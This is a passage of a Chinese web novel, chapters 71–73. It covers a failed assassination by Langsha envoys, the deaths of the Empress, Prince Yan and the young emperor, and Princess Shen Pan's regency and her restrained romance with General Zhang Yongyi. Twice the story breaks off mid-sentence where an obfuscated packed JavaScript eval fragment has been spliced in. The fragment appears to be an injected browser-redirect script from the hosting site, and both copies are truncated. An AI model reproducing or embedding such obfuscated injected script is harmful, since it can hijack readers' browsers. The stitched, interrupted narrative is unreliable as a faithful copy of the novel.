这也是他此行前往化隆的唯一价值,即为这三个杀手“引见”大楚皇帝,而克西唯一的价值就是为他们翻译,而他们三个都是西北草原上逃出来的暴奴,又在东北长桫的风霜里历练多年,是杀人越货的高手。 今夜,只需要杀人,更加容易了。 他不能放任他们在大楚的宫廷里就这么狂妄地刺杀皇帝。 但他无能为力。 若他们不出手,他们就会杀了自己和克西,这就又挑起了战火。 可若他们真杀了皇帝,依然会有战争,左右不过长桫从“受害者”变成了“杀人魔”。 多罗只是眼睁睁看着克西走向他们,而大楚宫廷的小内官说,既然他有事要求见皇帝,眼下皇帝不在,但皇后在,他可以先向皇后说明情况。 然后他就看见皇后附近有一个男子,抱着一个小孩,这是他进入大楚宫廷以来见过的唯一一个小孩,应当就是三岁的小太子,皇后怀着孕,身边有一群宫女内官,而皇后看着,和那男子说笑。 他应该就是大楚皇帝了吧,那个一直咬牙支持张将军的年轻皇帝吧。 他身边的那位年轻夫人,应该是宫廷里的妃子吧。 多罗来不及仔细打量,克西就带着另三个杀手走了过来,要和他一起去拜见皇后。 多罗早就听不清克西在说什么,他浑身都在抖,又像是被扇了两个巴掌,故而两只耳朵里嗡嗡作响,那边皇后注意到了他的异常,神色尤为关切。 多罗摇摇头,又点点头,克西解释说他可能听不太懂,他学过的汉话不多。克西又解释说,可能是他太冷了。 皇后马上要让人带他去温暖的重华殿里休息。 多罗不愿意走,刚要说话,就看见克西掏出一只小锦盒,盒子里装了一条红绳编的祈福手链,必然是国师送到法坛上开过光的,每个长桫少年在出生后百天就会得到一条。这本是要在宫宴上拿出来献礼的,但为了迫在眉睫的任务,克西将一切都提了前。 长生天,一定要保佑这个三岁的小孩不要受到伤害。 多罗注视着已经被小内官接到手中的小太子默默祈祷,所有人都看着太子,忽然听见皇后大叫一声:“六弟小心!” 71. 第七十一章 短歌行(三) 沈磐赶来时,就看见沈斫坐在重华殿的门槛上,双目呆滞,满手是血,灯火映在他的头发上,把他的乌发都照成了白发,他的双眼便更像两个黑黝黝的深洞。 赴宴的满朝文武都挤在殿前露台上,乌泱泱的人头攒动,天上下着白花花的雪。 “长公主,您来了。” 沈磐留神,看见人群中冉琢明拄着拐杖朝她问礼,乌压压的文武便纷纷看来,朝她点头示意,又纷纷散开,让出了一条路。 然后她就看见了张永一,在人群的中央,在两个跪着的长桫人身旁。 她走了过去,便看见张永一身边躺着的三具尸体。 “怎么回事。” 蒲成骧道:“回殿下,长桫侍卫意图刺杀兖王殿下,还刺伤了皇后,娘娘她……” 沈磐抬头,再度看向重华殿,再度看向沈斫。 他真的老了很多。 蒲成骧不忍地道:“皇后娘娘难产,小公主也……也没了。” 沈磐被冷风激得咳嗽两声,忍着喉咙里越来越重的腥气,强行平复下来问:“太子呢。” 冉琢明出声:“太子殿下一切都好。” “兖王在哪儿。” “在偏殿处理伤口,兖王妃陪着他……元亨……”蒲成骧叹息一声,“元亨内监为了保护太子殿下,被刺死了。” 沈磐看向地上跪着的多罗王子和克西,多罗面如死灰,克西一言不发。 “张将军,他们有说什么吗。” 张永一的眼睛是红的,沈磐只扫过一眼,就将视线钉在了多罗脸上。 张永一张口,却发不出声,一边的刑部尚书阮折纭道:“刚才问过了,他们就是来刺杀陛下的,但这三个刺客听不懂中原话,看见兖王殿下抱着太子,便把他当成了陛下。” “今日他们还没见过陛下吗?” 阮折纭看向陶识礼,陶识礼看向冉琢明,冉琢明刚要说“没有”,沈磐的视线从他们脸上一一扫过,最后落在打算开口的张永一脸上,他不敢看自己,但垂下来用睫毛遮掩的眼睛里全是哀楚。 沈磐便出声打断:“他们怎么死的。” 阮折纭指着地上那具血肉模糊的尸体道:“刺伤皇后的那个被长缨卫乱刀砍死,其他两人咬舌自尽。” 沈磐点头,“既已明了,那就由刑部率三司燮理此案,相关人等下诏狱以待查验,等定了案,还劳烦冉大人写国书,转交长桫。” “公主……” 沈磐抬头,“怎么了张将军。” “这三个是义律人。” 众人一愣,蒲成骧蹲下身细细查探那三人面容,“这……这个人比较明显,确实像义律和方台那边的。张将军,你是如何看出来的?” 张永一看向跪在地上的克西和多罗,克西用流利的汉话说道:“是,他们都是义律的逃奴,王庭好心收留了他们,没想到他们居然……” 沈磐按住突突直跳的太阳穴,“居然什么?居然要刺杀大楚皇帝?” 所有人都听见沈磐的口吻陡然冷肃,“你是想说,这件事与你们长桫无关,都是义律人自作主张?” 她一步上前,“想以此脱罪?呵,能借口脱罪的只有长城外的长桫,而不是你和你的王子。”她偏头看向地上那个瑟瑟发抖的少年,“他今年还没有十八岁吧?这个年纪、这种心智被送到敌国当质子,摆明了长桫境内无人在意他的死活。” 克西捏紧了拳头。 “长桫从来都不想再度挑起战争,因为他们打不过,而大楚也不想打,但不是不能打。等国书一送到长桫王庭,与他、与你相干的故人都会被‘爱好和平’的长桫王屠杀,而留在大楚的你们,自然是‘悉听尊便’。” “但是……” “但是什么?”沈磐的视线已经将他琵琶骨上的肉剃了个遍,“你以为你还有什么倚仗?或者说你还想做什么交易。” 克西霍然抬起头,看向沈磐的目光里全是恐惧。 得了他这个反应,沈磐还有什么猜不透的? 她冷呵一声,“都散了——兖王在东偏殿?” 蒲成骧:“兖王殿下在西偏殿。” “你就把他提到东配殿,另外那个王子直接送去诏狱。” “是。” 沈磐转身,又想起了地上的尸体,“既然是义律人,那就送到义律王府,让义律也看看他们的‘逃奴’干了多惊天动地的大事。” 还未离开的兵部尚书房桂稻不禁插嘴:“殿下,这会否刺激到义律……” “现在义律国内动乱,就算被刺激到了,冤有头债有主,被骚扰的也不会是大楚,且张将军不是才打过胜仗么,大楚将士正是斗志昂扬、乘胜追击的好时候,永济年间义律就元气大伤,现在不敢的。” 不知想到什么,沈磐又补充一句:“若是真怕有个意外,尸体就别送了,就给义律王府漏点消息,自然有义律的使节会去通风报信。” “是。” “张将军,来一趟吧。” 张永一沉默地跟上,走在沈磐身后五步远的地方。 周围没有人敢偷听他们说话,沈磐便落后一步出声问:“什么时候见过沈斫的。” “靖远门,他来接我。” 沈磐撇嘴不禁苦笑,“长桫人定然以为,那只是你的朋友,所以把兖王认错,好像也可以是个意外。” 张永一几乎难以呼吸。 怎么会是意外呢,克西怎么会看不出、听不出那不是皇帝而只是个亲王,何况兖王妃也在,他们夫妇两个如胶似漆、最是亲昵。 沈磐还问:“你提过兖王吗。” 张永一希望他提过,这样事情就简单了,这一切都是他的过错,沈斫就能恨他间接害死他的爱妻和幼女,有了恨,他就不是现在这样丢了魂。 张永一沉默得足够久,久到他们已经走到了东配殿,久到他们不能再窃窃私语。 沈磐赶走了所有人,但蒲成骧没有赶,张永一也要留。 殿内,只有他们或跪或坐或站的四个人。 “你怎么知道兖王的。” 沈磐走至他身后,“我不喜欢绕圈子,若你想要你的王子活,那就说清楚。” “我要见皇帝。” “你没得选,只能跟我说。” “不,我只会和皇帝说。” 沈磐嗤笑:“那我只能杀了你和你的王子。” 克西转身,“你一个女子怎么敢插手两国事务?” 沈磐睨着他,“我有什么不敢的?若你不肯说,那就我来说——长桫给你们的任务就是谋杀大楚皇帝,但你想绝境求生,于是想用兖王李代桃僵。当然,你必然知道兖王和当今陛下之间有过不少矛盾,所以你就想赌一把,杀了兖王,向陛下求生,做个交易。你们本可以慢慢谋划,但兖王不常回京,错过了今年就要等明年,况且等到了明年,另三个杀手就认清了各种人的身份,你便使不出这招。” 蒲成骧听得骇然,“他们长桫人怎么会知道陛下和兖王之间的……” 沈磐看向张永一,蒲成骧也看向张永一,但沈磐眼中没有意味,蒲成骧却是更加骇然又难以置信。 克西也看向了张永一,自然看得清他现在的处境。 沈磐细细咀嚼过克西的眼神,漫不经心地问:“所以,你们是怎么知道的呢?若你说不出一番阴谋,那你们就是阴谋,一个是敌国王子,一个是大楚边将——” 沈磐看向张永一:“张永一,张家世代忠烈,你父亲死在西南,你叔叔死在西北,你祖母才去世,家中就只有你一个男丁,你又无妻无子,与长桫合谋……” “不是!” 沈磐别过头,克西的痛苦一览无余。 “不是张将军,他从来不会说起化隆城,也不会说起大楚皇帝,他什么也没说。” 沈磐蹲下身,有些玩味嘲讽:“怎么不是他呢?反正他都要获罪的,没了他,长桫侵扰东北,岂不是畅通无阻?” 克西攥紧拳头,“不是他,真的不是他……” “那是谁呢,若是说不出,那就只能是他了。” “你们怎么能这么狠心?鸟尽弓藏,你们真是冷血的恶狼!” 沈磐指着自己,“不是我们,只是我,但只需要我,就能杀了他。” 话落,东配殿里的火烛跳了跳,像是哪处漏了风卷了雪,这殿内的温度陡然落了千丈。 克西不忍看张永一脸上那真真正正的错愕与沉重,他低下头说道:“其实我也是听说的,都是赌一把,反正都是一个死……那是以前的事了,长桫军中早就传开了,谁能杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈磐推门而出时,沈斫就坐在廊下。 他哭过的,好在手上的血已经洗尽,人也恢复了理智,“他睡了吗?” 沈磐轻轻阖上门,“嗯,刚睡下。” 沈斫点点头,继续坐在地上吹冷风。 冬月的风真的很冷,沈磐忍着咳嗽,沉默地陪他站了会儿,这才道:“去陪陪他吧,好好睡一觉,什么事情都留到明天处理。” 沈斫爬起来,“姐,谢谢你。” 沈磐侧身,“不必谢。” 等沈斫进屋后,沈磐还站在廊下。 现在的沈斫,又变回了几年前那个被君父打发到边鄙困守的燕王沈斫了。三年间那个开阔爽朗的启新帝沈斫好像一场幻梦,现在就是梦醒的时候,一觉醒来发现他的心情比原来更坏了,她的身体也比当年更差了,而她还需要撑下去。 三年的自苦,此刻迎刃而解。 沈磐说不出自己有多么矫情、可笑、可悲。 古人言,生于忧患、死于安乐,她当真是一天舒坦日子也过不得,靠着这么多人这么多苦难才能活下去。 沈磐抬脚要走,忽然被人拉住。 必然是张永一了,只有他的手是这么炽热,只有他的心能烧得这么亮。 沈磐在走廊边沿站好,这才抽回了手,沉默地走离了太子的寝殿,问:“又出什么事了。” “兖王妃求见。” “见谁?” “见你。” 沈磐吐出一口血气,心中已觉不详。 该是为她的夫君求情的吧?那兖王为何不来见她,反倒让她出头。这个懦弱的男人,他又要搞什么花头,他就不能安安分分地呆在那里,呆在那里等到天明! 张永一又握住她的手,“公主答应过我的。” 要再爱他一次,故而现在他们还是爱人,爱人之间就要彼此分担,她就要在累极、厌极、气极的时候,第一个想到去靠他的肩膀。虽然他解决不了问题,只能给她一个暂时休整的避风港湾。 “我没事。” 沈磐再度抽出手,快步往前走。 72. 第七十二章 短歌行(四) 兖王妃方兰汀已经哭成了泪人,见沈磐来了,顾不得有旁人在场,她便扑上来跪下,“长公主!王爷他不见了!我让人去找,找遍了他能去的地方,可就是找不到他……他留给我这封……这……这封……” 沈磐接过已经被泪水打湿的一张纸,上首“和离书”三个大字写得既潦草又绝决。 兖王要和离,要与方兰汀乃至方继昌断绝干系。 不知为何,沈磐感到一种隐秘的窃喜和迟来的哀痛。 若放到三年前的任何一天,她都会“欣喜若狂”、“如释重负”,可现在的她想到了刚才心如死灰的沈斫,而眼前的方兰汀与她的夫婿新婚燕尔、正是蜜里调油的时候。 除了心如磐石的她,应当无人能承受住再死一人的打击。 可一个人要死,谁能拦得住? 方兰汀还在哭:“王爷说,他和陛下多有误会,这三年里若不是皇后娘娘一直在调和他们的关系,他都不知道自己……能不能活到现在……他一直说他对不起陛下,现在更对不起皇后,若不是皇后娘娘出声提醒他,长缨卫都去解救他了,不然皇后娘娘也不会被刺……他还说他对不起长公主,对不起很多人……我真的太怕他想不开了……” 她抱着沈磐的腰,“长公主,求您救救他吧!他真的从来没有坏心,这一切他都无可奈何!他真的……从来都不想要这样……” 从来都不想要这样……无可奈何……从来没有坏心……救救他。 沈磐稳住心神对长缨卫道:“去找京兆尹,让他们全城搜寻兖王的下落……不,城外也要找……不要惊动陛下。” 方兰汀不住地磕头:“谢长公主!谢长公主!” 沈磐后退一步,绊着自己的裙摆摔到张永一怀里。 他的怀抱,依然是温暖的。 可她太冷了,就算是烈火焚身也暖不起一点。 沈磐撑着他的手腕站直,却觉得眼前天旋地转,像是被人当头一棒,打得五感闭塞、气息欲绝。 “长公主!” 众人都慌乱起来,张永一刚要打横抱起沈磐,她便缓缓睁开眼睛,抓着他的衣领,“我没事,就是有点累了……” “我带你去休息。” 说完,也不容许拒绝,张永一抱起沈磐就往外走。他知道东宫里一直有间房是留给沈磐的,就在演花殿边上,但他终究没去过,最后还是抱着她来到了演花殿。 宫女生起了火盆,殿内黑魆魆只留下他们两个人。 “他都知道了。” 张永一给她掖着被子,“都知道什么?” “是先皇。” 是永济帝和长桫王庭做的交易,要让沈斫死。 沈磐靠着张永一凄笑:“虎毒不食子,他年轻时还能徒手与虎相搏。” “元良一家可以是意外,二哥的死可以是意外,后来要杀我和沈斫,也可以说是意外,要杀璩儿更能是个意外。他什么都想做成意外,这样哪怕东窗事发,他最爱的幺儿还能这么麻痹自己、这么去原谅他。” 可那时候,西北新侯与东宫的争端还没上台面,自然也没有这么多的意外和身不由己,结果永济帝就在谋划了,不惜与狄人勾结。所以东北的一场场仗,全有来自化隆皇宫里这个宰割天下的皇帝的筹谋吗?所以东北的仗能一场场地打下去,一直都有他的默许吗?直到他派在宁远的大将军陆微死了,他这才不甘地悬崖勒马吗? 好荒谬啊! 应该只是她的恶意揣测吧。 他是个心狠手辣、不达成目的誓不罢休的皇帝,也是个开疆拓土、励精图治的皇帝,不然方继昌、霍辄等人会为他前后驱驰直到最后心灰意冷? 太荒谬了。 沈磐靠着张永一,“他迟早都要知道的。” 张永一知道这个“他”是沈斫。 “就算兖王也死了,他也应该能撑住的,他还有沈含章……” “他还有你,磐磐,你也要好好的。” 沈磐长息一声,逐渐睡去。 ** 天很快就亮了,内阁众人一夜未归,三司更是灯火通明,京兆府传来消息时,东宫还沉寂在一种久违的痛苦里。 张永一刚放下沈磐,她就醒了。 初晨的演花殿更冷,沈磐一个哆嗦又扑在张永一怀里。 他就抱着她这么坐了一夜。 “兖王有消息了。” 张永一点头,帮她裹着裘衣。 “他死了吗。” “还不知道。” 他拥着沈磐站起,殿外的脚步声已经越发嘈杂,终于,张永一推开门,蒲成骧面色凝重:“长公主,兖王殿下的尸体在靖远门外官道旁被发现,是自刎的,用的是霍辄留下来的剑。” 众人的呼气都化作白雾,将视野模糊。 “他要去紫微宫?” 蒲成骧点头:“那条小道就是通往紫微宫的,兖王应该是从马上摔了下来,然后就……” “陛下知道了吗?” “还没。” “那去告诉他吧。” 蒲成骧一愣,但他不去多加考究,只服从地答应下。 “刑部有回复了吗?” “首辅大人还有阮尚书已经等在了丽正殿……” “让陛下去吧,我要出宫回府了。” 蒲成骧看一眼张永一,便不再多问。 “出了这些事,你很快就要回东北了。” 沈磐慢慢地踩雪走。 张永一扶着她不放手,反正他们在东宫独处一夜的事情很快就会人尽皆知,他再不需要躲躲藏藏不敢去牵她的手,况且,他要一辈子陪沈磐。 “明年国丧,不会有灯节了。” 张永一握住她的手,“那就明年,明年如果回不来,那就后年……” “好残忍啊。” 张永一愣住。 沈磐的眼眶里不知何时又蓄上了泪。 “要我一辈子牵挂你。” 牵挂你,愿你不要死在东北,不要死在谁的刀下、剑下、槊下、戟下,也不要病死、毒死、饿死、冻死,更不要因为她而死。 崖然说她病了,她病得确实很重。 一边愧对过去,一边畏惧将来。 而现在的她,就像是走投无路、拔剑自刎的兖王,无能为力、无可奈何、身不由己、谁也救不了她。 她多希望自己早早地死去,最好是死于意外,死在永济二十九年的冬天。那时她满心满眼期盼着沈斫归来,太子夫妇健在,璩儿、玥儿还能打闹,元良一家马上回京,更不用说其他人,都幸福美满地等着过年。 但她又觉得遗憾,又惋惜见不到张永一。 可见到张永一的那个晚上出了裘衣藏针案。 这从来都不是悲剧的开端,却让所有悲剧赶场子投胎般在眼前接连上演。 ** 沈磐再也不管朝中事了,张永一也再没出现,听崖然说,他又走了,带着转递长桫的国书去了东北。 日子一度平静下来,她甚至想去找沈碧,到江南换种活法。 但那天,沈斫突然来了。 他一夜之间长大,一夜之间又变回从前那个沉默寡言的沈斫。 他老了不少,头发都有些白了。 沈磐有些认不出。 他对自己的笑也没多少,他只是刻板地说着事实:“姐,听说你这里的梅花开了。” 沈磐转身领他走,“是,怎么了。” 他跟在身后一言不发,沈磐忍受不了这种冷漠,便自言自语道:“东宫的梅花不是早就开过了吗,城郊的梅花也谢了,就我这棵,开得特别晚,当年说要找一棵胭脂梅的……” 沈磐的话戛然而止,沈斫探头看,眼前是座漂亮的花厅。 “绕个路吧。” 沈斫没多问,只跟着她走上游廊,不过几步,那玉梅便隔着栏杆送来了冬尽春盛的一场雪。 这场雪纷纷扬扬,让人恍惚今夕何夕。 沈斫看得入迷。 这棵梅花树自从它栽下,沈磐就只领张永一一人看过,还是它枯枝无花的落魄时候,亏得他翻遍了化隆,还记得她这里种过一棵梅花,还开在盛春雪尽之时。 沈磐直觉,他心里有事,或许想和自己讲。 但沈斫只是一味地看雪。 “你今天来,不会只是来看花的吧。” 沈斫赏着雪,赏得神情都舒展开来。 “嗯,不是。” 但如果这株梅花能让他暂且开怀,今日专程前来看花也无不可。 沈磐陪他继续看,他却忽然问:“这座花厅的角度最好,为什么不能进?” “怕触景生情罢了。” “你和张永一……” “嗯,怕想起他。” “你喜欢他,他爱着你,为什么要疏远呢,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“到时候你就知道了。” “声音这么虚,该不会要捉弄我吧?” 沈斫咳嗽两声,“怎么会,从小都是你捉弄我,我怎么捉弄得了你?反正这礼物你别推拒,不然搞得我太没面子了。” “好好好,你去紫微宫,替我上柱香吧。” 沈斫点头,依着栏杆坐下,又咳嗽两声,“想喝点水……” “吹着风了?也不知道爱护自己的身体,你等着,我就来……” 沈磐跑没了影。 ** 其实今日是有点奇怪的,但难得他们姐弟叙话这么投机,沈磐心里一高兴,便也少想很多关节。 其实多想想,也能想出来的。 也能想到,他专程前来又支开自己,还编出了紫微宫,当然要翻过栏杆,躺在这梅树下长眠不醒。 她早该警醒的,去什么紫微宫,他是要死了。 砌下落梅如雪乱。 原来他是来看雪的。 而她沈磐,是他死前还要应付的阻碍。 她该将手中盛着热水的茶杯摔碎,以示自己被欺骗和抛弃的愤怒。 还想让她照顾沈含章,还说事情又多又杂总算在今天料理完,还敢说要过她的生辰,还敢说礼物。 他知道自己这么累,还说一声“对不起”。 对不起磐磐,又要让你一个人扛下去,又要让你一个人去坚强。 他怎么敢的,就不怕她吃尽自己的慈悲心肠去虐待他的含章、杀了他的挚友、让他和齐妙延泉下不得相逢! 他怎么敢的啊! 真正留她一个人。 沈磐还是没摔杯子,怕摔尽了这种安详。 他笑得真安详,仿佛了结了夙愿、再无遗憾而寿终正寝。 死后元知万事空。 可她还活着。 ** 团圆找来时,沈磐坐在廊下,一直看着天井里、梅树下、雪地中的沈斫。 自从她认识沈磐以来,她就最喜欢鲜亮的颜色。 今天是赤霞紫,是天井上的晚霞。 雪落在上面,颜色更深,像是干涸的一滩血。 团圆大惊失色:“公主!” 73. 第七十三章 短歌行(五) 近来朝中又发生了很多事,但乏善可陈,唯一值得一说的该是菁明书院着火,大儒宁晨铎葬身其中。 李闻达惴惴不安。 他的儿子李圜去书院里与即将赴任的故友道别,恰好目睹了火灾。 宁晨铎的学生都要去救,但火势太大,救不了人反倒要送自己的命。但愿意以命相送的大有人在,可这些人最后只是朝着熊熊烈火磕头。 因为那火中传来了琴音。 是一曲《短歌行》。 他们都说,这是魏文帝的那首《短歌行》,以文帝思亡父为喻,诉尽了宁先生对先帝的哀痛。 但宁晨铎与兖王的师生情响动京城,他和先帝着实没什么感情。 必然只能是这首《短歌行》了。 李闻达听冉琢明隐晦地说过,长平长公主对宁晨铎的死不屑一顾,但沈磐终究是沈磐,她对宁晨铎再有不满也不会诉诸朝野,该有的追赠一个不少。 不,他说错了,现在的沈磐已经是长平大长公主了,新帝年幼,连话都说不利索,朝中一应事宜都需要她来拍板。 垂帘听政、牝鸡司晨,这必然会引起不少人的不满。 所以首辅冉琢明再三请他来文正殿喝茶,就是要他捂好下面那些年轻不知事的人的嘴巴。 这不是冉琢明的作风,但冉琢明就这么做了。 哦对了,冉琢明会请他喝茶,是因为那自从梅依径南下后就空悬已久的总宪之职最终落到了他的口袋。 但李闻达没有多少开心。 这个位子一点也不好坐。 他急匆匆从察院爬上文正殿时,殿内已经有人在说话了,进去一看,是冉琢明和方继昌。 自从去年兖王自杀后,启新帝就将方继昌从兖地调回,刚好一番扒拉,重新把他塞上了吏部尚书的缝隙,而原本的天官卿澈早在启新初年就自请回到南海道,这样,除了一个梅依径,堪堪将这副班子凑成了永济末年。 “哦,闻达来了。”冉琢明招呼他坐下。 “是又出什么事了吗?”这已经是李闻达当上左都御史以来养成的口头禅。 冉琢明和方继昌的脸色都说不上差,只是将一份奏疏推给他,他略略看了,喜上眉梢,“好啊,长桫入贡是为阴谋,张将军只用了两个月,多番掩饰迷惑,兵不厌诈,便以几百人的队伍直击长桫王庭,还俘虏了长桫王和众多王子,是以其人之道还治其身,大扬我大楚的国威,这是件天大的好事啊……” 也难怪冉琢明一直让他不顾一切地捂那些小年轻的嘴巴,原来是大长公主支持东北搞大动作,所以大后方的化隆城内一定不能出岔子。 “确实是件好事。”冉琢明出声,又将另一份草拟的诏书推给他。 李闻达一看,不由大惊失色。 “这……这是殿下的意思?” 冉琢明点头。 李闻达试探问:“这会否太激进了?” 方继昌道:“房尚书也曾是这么说的,但殿下早先还拟过另一份方案。” 他从袖中掏出一页纸,李闻达直接懵在原地。 李闻达看完,方继昌就把这页纸给撕了,“这三年的仗,大楚是举全国之力,如今乘胜追击,国内更是空虚不已,近几年都再受不了战火的打击,所以殿下是想斩草除根、永绝后患。大楚不是吞不下长桫,只是东北偏远,民风顽固,此后的教化、管辖、治理都是大问题,况且吞并长桫,西北诸部落定有骚动。现在虽然还是启新四年,但幼主当国,不乏有想来碰碰运气、试试刀的……” 李闻达连连点头,“是这样的,还是要稳妥些。” 他拿起这份奏疏,“长桫暗害懿德皇后,还谋害了小公主,累及众人,危害深重,长桫王不思反省,反而趁火打劫,多亏张将军随机应变,朝内又有殿下坐镇,这才没让他们得逞。如今他们咎由自取,为先帝陪葬,符合法礼,扶持多罗王子,也算是给长桫百姓的一个交代,多罗王子纯善,长桫由他治理,想来边境宁矣。” 冉琢明点点头,又推来一本奏疏,李闻达放下手中的又拿起它,看得胆寒,又连忙朝二人认错:“是臣的失责!居然让这种居心叵测之人搅乱朝野……” 方继昌摆手,“殿下不禁物议,总宪是承陛下的懿旨办事,都是奔着言论开放、百家争鸣而去的,这是好事,只是大楚还没到这个时候。殿下也是一心为了大楚好,只是身在风波之中难以掌舵,我们这些做臣子的只能暂且越俎代庖……” “懂,闻达都懂的,是闻达疏忽了,差点酿成大错。” 冉琢明道:“不,你做得很好了。其实,这倒让我想起一事。” “大人请讲。” 冉琢明又拿起桌上的一卷圣旨,李闻达略一迟疑,但还是展开查看。看完,他不禁奇怪:“这是先帝的诏书?可为何这里没有加盖首辅之印?” 随即他了悟过来,“是殿下不愿?” 方继昌道:“就算愿意,也怕不能。” 李闻达倒吸一口凉气,“这……” 冉琢明又举起那本抨击沈磐私情混乱、不知检点的奏疏,“这里面尽是脏水,也不乏有真事。去年张将军带长桫使团回京,他没有先行入宫拜见陛下,反而去了公主府,这是真;再有后来皇后出事,在东宫他和殿下独处一夜,这也是真。这些都是先帝亲口与我说的。” 沈磐和张永一定然是有情的,不然启新帝也不会下这样的诏书,要撮合他俩成婚。 但是,沈磐早有个准驸马云勉,还曾有个准驸马嵇阑,更曾有个准驸马霍开武。这些都好办,已经死了的人就不必去管,而对云勉就更简单了,赔上更好的赏赐作为蹉跎年华的补偿,让他寻个借口自行退婚保全颜面。 但是…… 方继昌直白道:“殿下已经在风口浪尖,若与张将军缔结婚姻,只怕要拖累了张将军,大楚的边境还需要张将军这样的帅才,殿下为了大楚的社稷,便只能暂却私情。” 李闻达刚要夸赞沈磐的深明大义,就见冉琢明又拿来一份奏疏,不由得呼吸一窒。 “这是张将军的,与捷报一同送回的。” 李闻达展开,不由得手抖。 张永一竟然公然向沈磐求婚。 这奏疏竟然还送到了内阁。 他难道不知化隆城里在传些什么谣言吗?不提其他,说沈磐私德不修、与他暗度陈仓的只是小喽喽,说沈磐以情色笼络朝臣的已经下大狱了,再说沈磐和他狼狈为奸、要谋篡沈氏江山的更被逮入了诏狱,刚才那本造谣的御史只怕马上就要被撸成白身、流放海南了,而他张永一,居然还敢往刀尖上撞! 李闻达真不知该说他什么好。 冉琢明:“殿下当然是回绝的,只是这份奏疏远没有请婚这么简单。” 李闻达再读一遍,“去年破敌之功臣一一受赏,独独张将军一连推拒,说是要等到长桫事定方肯接受赏赐,这么看来,先帝的这份诏书,应该就是张将军要的赏赐。如今张将军主动提起婚事,看来是真想以此功求得殿下青眼,若是殿下回拒,那该给出什么封赏,这应当是个大问题。” 方继昌笑道:“这就是我们今天找你来的目的。” 明晰了此行关键,李闻达终于可以放松下来。 “这也是有先例的……” 冉琢明摇头:“霍辄将妹妹送入后宫,后来又有了兖王,他的先例不能循。” “那就封个爵,给个世袭?” 方继承道:“殿下是这么想的,正好长桫要立新王,边境还需有人坐镇,殿下就想给他一个世袭,让他的子孙世代镇守东北。” 冉琢明点点头:“这是好,只是朝中恐起议论。” 李闻达立即起身,“这件事闻达必会竭力促成,还望二位大人放心。” 送走了李闻达,方继昌直言:“你心里有话,就说出来。” 冉琢明叹息:“只怕张将军那里,会有怨怼。” “唉,谁让殿下不愿意呢?好了,宁晨铎之事还需快些料理,他那里存着不少兖王的文章,全是永济年间给先帝的各种贺辞,不意外殿下不忍看见。但这些文章要如何处理,还是要问问殿下的。” ** 长桫王新立之事耗时颇多,还要整顿边境,分发朝廷送来的赏赐,安抚边将,一番忙碌过后再次入冬。 张永一是先行回来的,他什么也不说,只换过了衣裳就往宫里来。 这时已是薄暮,宫门即将下钥,他卡在这个当口从通化门入宫,沈磐知道时,他人已经等在了东宫。 为免前朝非议,她只能让内阁补上诏书,让张永一一回京就入宫觐见。 东宫里多嘴的舌头已经被她拔了,现在的东宫密如铁桶,内阁里她又打过了招呼,所以在这里见他并无不妥。 还是在演花殿。 “数月不见,你的脾气也见长了。” 张永一谢过团圆的指点,就站在门边。殿内依然没有点灯,但沈磐坐在火盆前烧着东西,四周还算暖和。 张永一没合上门,只挡在门口,挡着风与雪。 “为什么要这样?” 沈磐不答,反而说起了宁晨铎:“这些都是兖王的文章,有给沈斫的贺生,有给他的诗歌,各种思念和赞扬,每年都有好几篇,也有不少写得不错,全都存在宁晨铎那里。” 从前沈磐对宁晨铎极其恭敬,绝不会直呼其名,何况宁晨铎已死,她只会千百倍地恭敬。 可她的话里,全是讥诮,还有怨恨。 张永一想起她第一句话中那个“也”字。 她的脾气也变得更坏了,自从沈斫死后。 “他也想调和他们兄弟两个的关系,但他从来都没想明白,他们两个本无龃龉,他怎么调和都不会有用。他活了多少岁啊,连这个道理都看不透,兖王一死,他还将兖王生前的文章拿给沈斫看。” 沈磐嗤嗤笑起来。 张永一难以呼吸。 “那时我气极了,以为是他要替他最喜欢的学生报仇,他难道想不到沈斫会愧疚吗?他难道想不到这些陈年的情谊都可以轻易地压垮他吗?他就不能多想想吗!有人想得太多,有人想得太少……” 宁晨铎绝无此意。 所以他也愧疚至死。 “他们说,宁晨铎手上有把琴,叫作‘羊左’,这是把断琴,修复之后的音色远不如初,但宁晨铎最看重这把琴,所以最后,他在火场里用这把琴弹《短歌行》,让人不要救他……” 她苦笑起来,“已然断情,奈何以情自困?可笑啊,又是一条人命。” 她有些出神,火舌舔到她的手指都没有反应,张永一连忙冲过去,带起的风和漏进来的雪刚好吹歪了火焰。 沈磐回神,自己的手已经握在张永一手中。 她这才觉出疼来。 “为何不留下,好歹是个念想。” 沈磐仰头看着殿内程设,“其物如故,其人不存。我还需要什么念想?况且,这也不是他的东西,留着,是想让千百年后的人们感念他们之间的情谊吗?又不是曹子桓曹子建,有那一句‘黄初八年正月雨’就够了,史书万卷,写得了什么?” 她看向张永一。 数月不见,数年不见,他依然和初见时一样不曾变,或许他也沉默了起来,或许他也多了忧虑和城府,但他相貌如故、心澄如初。 多好的一个人物。 张永一也看着她。 “为什么要一个人呢。” 因为孤独能够吃人,会吃了他又吃了她,一生一世,也只会是他一个人。 他看 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手抵额头,沈磐倚靠在栏柱上。她闭目凝思,不知想到了什么,突然“嗤嗤”笑了出来。随后,她一偏头,就看见了张永一。 他从混沌走进灯笼投下的幽幽光里,像是从梦中逐渐浮现。 沈磐又避而不谈,只笑道:“张将军现在今非昔比,可不能再跟着我形影不离了。” 张永一不再像从前那样,似是不堪沈磐这样的挑逗,局促地垂下视线妄言自己对她绝无半点非分之想。 他直直看着沈磐。 宫灯被无情西风灌入冬日不退的冷气,又被无名东风的阳春玉手轻轻摆正,明明灭灭,来来回回,似是灯本身都承受不住这样的撩拨,心烦意乱,几欲熄灭了结。 这一明一暗,勾勒出沈磐眼里的晦涩。 她想,张永一说得太对了,有这样一个人陪她走出迷宫也好,总好过一个人在里面苦苦挣扎。但事到如今她清醒了,她走进了迷宫,也该由她自己走出。 